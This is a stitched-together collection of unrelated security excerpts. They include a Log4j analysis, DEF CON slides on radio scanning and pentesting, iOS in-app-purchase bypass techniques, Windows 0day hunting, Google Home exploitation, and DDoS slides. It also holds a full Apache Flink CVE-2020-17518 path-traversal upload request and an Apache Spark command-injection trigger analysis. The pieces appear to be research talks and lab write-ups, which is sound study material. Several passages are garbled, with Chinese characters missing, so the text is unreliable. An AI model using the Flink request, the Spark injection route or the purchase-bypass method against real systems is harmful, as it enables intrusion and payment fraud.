LogManager.getLogger().trace() LogManager.getLogger().traceExit() LogManager.getLogger().traceEntry() LogManager.getLogger().info() LogManager.getLogger().warn() LogManager.getLogger().debug() LogManager.getLogger().log() LogManager.getLogger().printf() 只有当当前事件的志等级于等于设置的志等级时才会符合条件进 logMessage() 法 知道这些基本信息后就可以进步了解漏洞的触发原理了 测试 case 如下 public class log4j { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { Collection< Logger> current = LoggerContext.getContext(false).getLoggers(); Collection< Logger> notcurrent = LoggerContext.getContext().getLoggers(); Collection< Logger> allConfig = current; allConfig.addAll(notcurrent); for ( Logger log:allConfig){ log.setLevel(Level.ALL); } l


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Being in the Know An overview to Scanning modern radio systems Presented by: Brett & Taylor Defcon 15 The Basics  Simplex  One frequency shared by multiple stations  Limited coverage  Tones  Continuous Tone Coded Squelch System (CTCSS)  Private Line (PL)  Digital Coded Squelch (DCS)  Repeaters  Two frequencies (input & output)  Increased Coverage So you want to listen to stuff  Back in the day it was easy  You just dialed in the frequency and you were good to go.  154.905 Utah Highway Patrol SLC  155.505 Statewide  154.2350 SLCO Fire Dispatch  Not quite as easy these days  Trunked, Digital, Encrypted, etc What is Trunked Radio  Users are grouped by Talk Group rather than Frequency  Radios monitor a central channel called the Control Channel  When a user keys the radio the control channel tells other what frequency to move to  When done, users return to the control channel and wait for the next call System Types  Ericsson (EDACS)  Enhanced Digital Access Communication System  E.F Johnson (LTR)  Logical Trunked Radio  Motorola  Probably the most common type of system Ericsson Enhanced Digital Access Communication System (EDACS) EDACS - Overview  Central Control Channel  Each frequency is assigned an LCN  Logical Channel Number  Controller tells radios what LCN to switch to when radio traffic is present  Frequencies must be entered in LCN order to scan properly E.F Johnson Logical Trunked Radio (LTR) This is what The Riviera Runs LTR - Overview  Decentralized Model  Uses sub-audible data on each frequency to control system  Each frequency is assigned an LCN  Logical Channel Number  Users are assigned to a specific LCN and only move if it is busy  Frequencies must be entered in LCN order to scan properly Motorola SmartNet & SmartZone SmartNet (Site) ((( ))) ((( ))) SmartNet (Simulcast) ((( ))) ((( ))) ((( ))) ((( ))) Site 1 Site 2 SmartZone ((( ))) ((( ))) ((( ))) ((( ))) ((( ))) Site 1 Site 2 Site 3 ? SmartZone OmniLink Zone 1 Zone 2 ((( ))) ((( ))) ((( ))) ((( ))) (((


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the pentest is dead, long live the pentest! Taylor Banks & Carric 1 carric 2 taylor 3 44 Overview 1 the pentest is dead 1.1 history of the pentest 1.2 pentesting goes mainstream 2 long live the pentest 2.1 the value of the pentest 2.2 evolution of the pentest 2.3 a framework for repeatable testing 2.4 pentesting in the 21st century and beyond conclusions 4 55 Taylors [Dont Give Me Bad Reviews Because I Made Fun of You] Disclaimer: Im about to really rip on some folks, so I ﬁgure I might as well offer an explanation, (and some semblance of an apology) in advance. Contrary to implications in later slides, there ARE actually a handful of really smart people doing pentests, writing books about pentests and teaching classes on pentesting, who despite their certiﬁcations (or lack thereof) actually know WTF they are doing. Those are not the people Im talking about. This presentation picks on the other douchebags who call themselves pentesters. As such, I plan to talk about what you (and I) can do to take the industry back from the shameless charlatans whove almost been successful in giving the rest of us a bad name. Yours very sincerely, -Taylor 5 Part 1 the pentest is dead 6 7 the pentest is dead history of the pentest pentesting goes mainstream 7 7 1.1 history of the pentest 8 9 the timeline 1970 - 1979 1980 - 1989 1990 - 1999 2000 - 2008 9 Captain Crunch, Vin Cerf, Blue Boxes, Catch-22 CCC, 414s, WarGames, LoD, MoD, CoDC, 2600, Phrack, Morris worm, Mitnick v MIT/DEC, Poulsen, CERT Sundevil, EFF, LOD vs MOD, Poulsen, Sneakers, DEF CON, AOHell, Mitnick, The Net, Hackers, MP3, RIAA, Back Oriﬁce, L0pht, Melissa ILOVEYOU, Dmitry Sklyarov, DMCA, Code Red, Paris Hiltons Sidekick, XSS, Storm Worm, Web2.x, AJAX 9 10 on semantics were talking about classic [network-based] penetration testing were not talking about 0-day vulndev, on-the-ﬂy reversing, etc (if thats what you were looking for, you can skip out to the bar now) 10 10 11 a brief history: the pentest 11 early pentesting


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大可(Dark) iOS軟體逆向工程應用 & 手機遠程監控技術 經歷  PHATE Security- 創辦人  Zuso Security - 成員  Chroot - 成員  吉瑞科技 - R&D  網駭科技 - R&D  某警調單位 - 外聘顧問  資策會 - 教育訓練講師  中科院 - 教育訓練講師 內容簡介  iOS 軟體逆向工程應用  IAP (In-App-Purchases) 破解技術  遊戲作弊引擎設計  iOS遠程控制軟體設計 謹以此紀念Steve Jobs iOS 軟體逆向工程技巧 iOS APP簡介  執行檔格式  Mach-O  組合語言格式  ARMv6  Thumb  ARMv7  Thumbv2 工具  已JB的iphone  GDB  動態分析  IDA Pro  靜態分析  otool  觀察mach-o執行檔結構  class-dump  將執行檔中的objective C classes輸出成.h 拿IDA Pro開刀前  將加密的code還原  otool l filepath | grep crypt (確定加密的位置&大小)  使用gdb將程式執行後~把該區域dump出來  重新塞入執行檔 DEMO Binary Patching  找出要修改的位置  利用ARM Assembler組譯  找出對應OP Code  修改 , 並重新簽章 DEMO 繞過IAP (In-App-Purchases)檢查 兩種繞過IAP介面的通用方式  從執行檔下手-分析IAP  API  -需JB  架設假IAP認證伺服器 (MITM SSL Proxy Server)  -不需JB IAP流程  從API角度看 建立SKPaymentTransaction class 根據購買狀態將SKPaymentTransaction transactionState區分為 SKPaymentTransactionStatePurchasing SKPaymentTransactionStatePurchased SKPaymentTransactionStateFailed SKPaymentTransactionStateRestored 購買狀態若有變化 , 則會呼叫 (void)paymentQueue:(SKPaymentQueue *)queue updatedTransactions:(NSArray *)transactions Developer可根據transactions的類型來決定內購各種狀態變化所要呈現的東西 Sample:  - (void)paymentQueue:(SKPaymentQueue *)queue updatedTransactions:(NSArray *)transactions  {  for (SKPaymentTransaction *transaction in transactions)  {  switch (transaction.transactionState)  {  case SKPaymentTransactionStatePurchased:  if([self putStringToItunes:transaction.transactionReceipt]){  //許多developer會認為程式運作到這 , 就已經購買成功 , 而沒再做訂單驗證  }  break;  }  }  } Apple IAP收據驗證伺服器  https://buy.itunes.apple.com/verifyReceipt  將訂單轉json傳入伺服器即可驗證  驗證完會收到訂單資訊 , status 0代表付款已完成  如下 {"receipt":{"original_purchase_date_pst":"2012-07-12 05:54:35 America/Los_Angeles", "purchase_date_ms":"1342097675882", "original_transaction_id":"170000029449420", "original_purchase_date_ms":"1342097675882", "app_item_id":"450542233", "transaction_id":"170000029449420", "quantity":"1", "bvrs":"1.4", "version_external_identifier":"9051236", "bid":"com.zeptolab.ctrexperiments", "product_id":"com.zeptolab.ctrbonus.su


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Windows 本地提权在野 0day 狩猎之旅 Quan Jin <twitter: @jq0904> DBAPPSecurity Black Hat USA 2022 注本文是作者在今年 Black Hat USA 2022 演讲议题的中文版 摘要 本文将讲述我们如何在 2020-2021 两年间狩猎 Windows 本地提权在野 0day 的故事为什 么我们觉得这件事可行我们如何研究历史案例我们如何用学到的经验开发一套检测系统 以及我们如何改进这套系统使之变得更准确通过使用这套系统我们成功捕获了两个 Windows 本地提权在野 0day 和一个 Windows 本地提权在野 1day 此外我们也将比较几种不同狩猎方法的优点和缺点并给出一些对未来 Windows 本地提 权在野 0day 的趋势预测 背景 从下图可以看出从 2017 年到 2021 年微软一共披露了 28 个在野的 Windows 本地提权 0day它们中的大部分是 Windows 内核漏洞这些漏洞通常被顶级 APT 组织使用并且会 造成巨大危害对安全厂商来说捕获一个这样的在野 0day 是一件非常有挑战性的事情 Windows 本地提权在野 0day (2017-2021) 是否有可能捕获一个 Windows 本地提权在野 0day 为了回答这个问题我们需要思考另外两个问题 1. 如何获取有价值的数据源可能含有在野 0day 的数据源 2. 如何开发一套有效的检测方法 对于第一个问题我们有一些自己的数据集此外历史案例表明像 VirusTotal 这类的公共 平台有可能出现 0day因此通过使用私有和公有数据集我们可以解决第一个问题 对于第二个问题有两种方法可以从海量样本中捕获一个 0day动态检测和静态检测 a) 动态检测是指的是在真实环境中进行检测或在沙箱中进行模拟执行并通过异常行为 过滤出 0day 样本典型代表是杀毒软件和沙箱 b) 静态检测是指使用静态特征匹配出样本典型代表是 YARA 两种方法都有其优点和缺点我们对两种方法都进行了一些思考和尝试测试结果表明静 态检测方法更适合我们我们将在后文详细描述这个过程 接下来我将解释为什么我们花了大量时间研究历史上的 Windows 本地提权在野 0day 从历史和当下中学习 为什么我们应当从历史中学习 有三个原因 1. 一些漏洞利用手法在一段时间内具有连续性 2. 从攻击者视角进行思考可以帮助我们更好地防御 3. 历史案例已经被整个安全社区仔细研究过我们可以站在巨人的肩膀上 我们如何学习历史案例 为了从历史中学习我们研究了超过 50 个 CVE 漏洞涵盖了从 2014 年到 2021 年期间几乎 所有的 Windows 本地提权在野 0day 和部分 1day 我们仔细统计了这些漏洞的发现厂商使用组织修补周期初始披露文章使用场景被 攻击的系统版本漏洞模块漏洞类型利用手法公开的分析博客公开的利用代码原 始样本如果有和其他信息 这里我想重点说明其中的几个关键点 使用场景 a) 样本是作为独立提权组件使用的还是作为一个利用链的一部分 b) 利用代码是基于无文件形式使用的例如 dll reflection还是包含在一个落地文件中 这些信息会直接影响我们对不同检测方案的选取 被攻击的系统版本 许多 Windows 本地提权样本在使用前会检测操作系统版本并且只能在一些特定的版本中 利用或触发 这个信息在制作沙箱环境或漏洞复现环境时尤其有用 漏洞模块 通过统计历史样本的漏洞模块我们可以得知哪个组件最多次被攻击哪个攻击面在一段特 定时间内最受攻击者青睐 这些信息可以帮助我们预测接下来最可能出现的漏洞 漏洞类型 通过统计历史样本的漏洞类型我们可以推断攻击者最喜欢使用的漏洞类型这个信息可以 帮助我们制作正确的复现环境例如是否需要配置 Driver Verifier这个信息也可以告诉 我们不同漏洞类型的流行程度例如竞争条件漏洞在最近几年逐渐增多 利用手法 我认为这是最重要的信息我们统计了大多数 Windows 本地提权在野 0day 的漏洞利用手 法基于这部分统计我们得出了一些有价值的结论例如bServerSideWindowProc手 法在 2015 年到 2016 年很流行使用Previous Mode手法去实现任意地址读写的手法从 2018 开始变得越来越流行使用HMValidateHandle来泄露内核信息的手法在过去 5 年 很流行 公开的分析博客和利用代码 公开的分析博客和利用代码包含整个社区的研究成果吸收这些已存在的知识就像站在 巨人的肩膀上对我们帮助很大 原始样本如果有 我们仔细收集了历史 Windows 本地提权在野 0day 的原始样本如果有这些原始样 本的文件哈希和利用手法都是第一手资料如果我们能检测


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Breaking Google Home: Exploit It with SQLite(Magellan) Wenxiang Qian, Yuxiang Li, Huiyu Wu Tencent Blade Team About Us Wenxiang Qian (@leonwxqian) Senior security researcher at Tencent Blade Team. Focus on browser security & IoT security Interested in code auditing. Security book author. Speaker of DEF CON 26, CSS 2019 YuXiang Li (@Xbalien29) Senior security researcher at Tencent Blade Team. Focus on mobile security and IoT security Reported multiple vulnerabilities of Android. Speaker of HITB AMS 2018, XCON 2018, CSS 2019 HuiYu Wu (@NickyWu_) Senior security researcher at Tencent Blade Team Bug hunter, Winner of GeekPwn 2015. Speaker of DEF CON 26 , HITB 2018 AMS and POC 2017 About Tencent Blade Team  Founded by Tencent Security Platform Department in 2017  Focus on security research in the areas of AIoT, Mobile devices, Cloud virtualization, Blockchain, etc  Reported 200+ vulnerabilities to vendors such as Google, Apple, Microsoft, Amazon  We talked about how to break Amazon Echo at DEF CON 26  Blog: https://blade.tencent.com Agenda  The Security Overview of Google Home  Fuzzing and Manual Auditing SQLite & Curl  Remote Exploiting Google Home with Magellan  Conclusion The Security Overview of Google Home Aug 2018 DEFCON26 Breaking Smart Speaker : We are Listening to You Amazon Echo - Remote Code Execution XiaoMi AI Speaker  Remote full Control (root) https://voicebot.ai/2019/02/20/amazon-increases-global-smart-speaker-sales-share-in- q4-2018-while-googles-rise-narrows-the-gap-and-apple-declines/ Global Smart Speaker Sales Share in Q4 2018 About Google Home Hardware Overview  Google Home family uses similar hardware (except Google Home Hub)  Did not find the hardware interface for debugging and flashing  We started to extract firmware directly from NAND Flash chip Google Home Mini Teardown Dump Firmware From NAND Flash Dump Firmware From NAND Flash BGA67 ADAPTER PCB Dump Firmware From NAND Flash RT809H Universal Programmer Data Extraction From Raw NAND Flash Image


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import struct def chunks(l, n): for i in range(0, len(l), n): yield l[i:i + n] def xor_qword(chunk, qword): dword = struct.pack("<I", qword >> 32) out = '' for a, b in zip(map(ord, chunk), map(ord, dword)): out += chr(ab) return out init_data = 0xD806209B3D160872 round_data = 0x5851F42D4C957F2D data = '49AB407E86FAA237'.decode('hex') decoded_chunks = [] for chunk in list(chunks(data, 4))[::-1]: init_data = (init_data * round_data + 1) & 0xffffffffffffffff d = xor_qword(chunk, init_data) decoded_chunks.append(d) decoded_text = ''.join(decoded_chunks[::-1]) print(repr(decoded_text))


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# Apache Flink Upload Path Traversal (CVE-2020-17518) Apache Flink is an open source stream processing framework with powerful stream- and batch-processing capabilities. Apache Flink 1.5.1 introduced a REST handler that allows you to write an uploaded file to an arbitrary location on the local file system, through a maliciously modified HTTP HEADER. References: - https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4 - https://nvd.nist.gov/vuln/detail/CVE-2020-17518 ## Environment Setup Execute following commands to start a Apache Flink jobmanager 1.11.2: ``` docker compose up -d ``` After the Apache Flink is started, visit `http://your-ip:8081` to view the homepage. ## Exploit Use following request to upload a file to `/tmp/success`: ``` POST /jars/upload HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Length: 187 ------WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success" success ------WebKitFormBoundaryoZ8meKnrrso89R6Y-- ``` ![](1.png)


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CVE-2022-33891: Apache Spark shell command injection vulnerability via Spark UI 影响版本 Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1. 分析 先看到官描述 https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc 当中可以根据提找到diff https://github.com/apache/spark/pull/36315/files 这没做害处理直接对命令进拼接造成命令注 如图那么漏洞原理确实很简单那么接下来就要看如何触发了 先关于配置可以参考https://spark.apache.org/docs/3.0.3/security.html 个漏洞能利的最简配置当然不定是和acl相关的最佳配置毕竟还有其他参数当然 作为漏洞研究就这样开启就好其中[]为可选项意思是不加都 分析可以得到调链 org.apache.spark.ui.HttpSecurityFilter.doFilter() org.apache.spark.SecurityManager.checkUIViewPermissions() org.apache.spark.SecurityManager.isUserInACL() org.apache.spark.util.Utils.getCurrentUserGroups() org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups() org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups() ./bin/spark-shell --conf spark.acls.enable=true --conf spark.ui.port=8099 --conf spark.ui.view.acls=true [--conf spark.user.groups.mapping=org.apache.spark.security.ShellBasedGroupsMappin gProvider] 这个HttpSecurityFilter很明显是个filter其实猜都能猜到既然是和权限校验相关那么肯定 是所有路由都会经过这个filter的当然也能找到这样的代码段来验证 接着回来我们可以看到它参数来源于doAs 那就很简单了 val securityFilter = new HttpSecurityFilter(conf, securityMgr) val holder = new FilterHolder(securityFilter) handler.addFilter(holder, "/*", EnumSet.allOf(classOf[DispatcherType]))


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DDoS  Yesterday, Today and tomorrow Frank Tse, William Guo Nexusguard Page  2 Agenda DDoS Introduction DDoS Attack Analysis DDoS Detection and Mitigation Fighting DDoS in Mobile Era 1 2 3 4 FAQ 5 Page  3 About us Nexusguard, incorporated in 2008, is a premium provider of end-to-end, in-the-cloud Internet Security Solutions. Nexusguard delivers solutions over the internet to ensure that our clients enjoy uninterrupted web- service delivery to their users, by protecting them against the ever- increasing and evolving multitude of internet threats, particularly Denial- of-Service (DDoS) attacks, and other attacks directed at web application software. Page  4 What is DDoS  A distributed denial-of-service (DDoS) attack is one in which a multitude of compromised systems attack a single target, thereby causing denial of service for users of the targeted system.  The flood of incoming messages to the target system essentially forces it to shut down, thereby denying service to the system to legitimate users. What is DDoS Page  5 5 Zombies on innocent computers Server-level DDoS attacks (Protocol / Application) Infrastructure-level DDoS attacks Bandwidth-level DDoS attacks Page  6 What is DDoS Credit http://www.wired.com/politics/security/magazine/15-09/ff_estonia_bots Page  7 DDoS in the news Motivation of Cyber Attack Page  8 Page  9 DDoS vs. Hacking DDoS Hacking If (Availble){ try { SQLi, XSS, CSRF MITM, Brute Force, Reverse Engineering, Buffer Overflow, RFI, Session Hijacking, Information Leakage, Defacement, something cool } catch (data) finally { DDoS } while (Available){ try { DDoS()} finally { Give_up()} Page  10 Trend of DDoS attack POC Organized Collaborated Volume Focus 0-day focus 2008 2009 DJB33X 100+Gbps / 70Mpps Page  11 DDoS Attack  Brief History Packet Generator Packet Crafter Creative Attacks Page  12 DDoS - Yesterday 2002 root DNS attack All thirteen (13) DNS root name servers were targeted simultaneously. Attack volume was approximately 50 to 100 Mbits/sec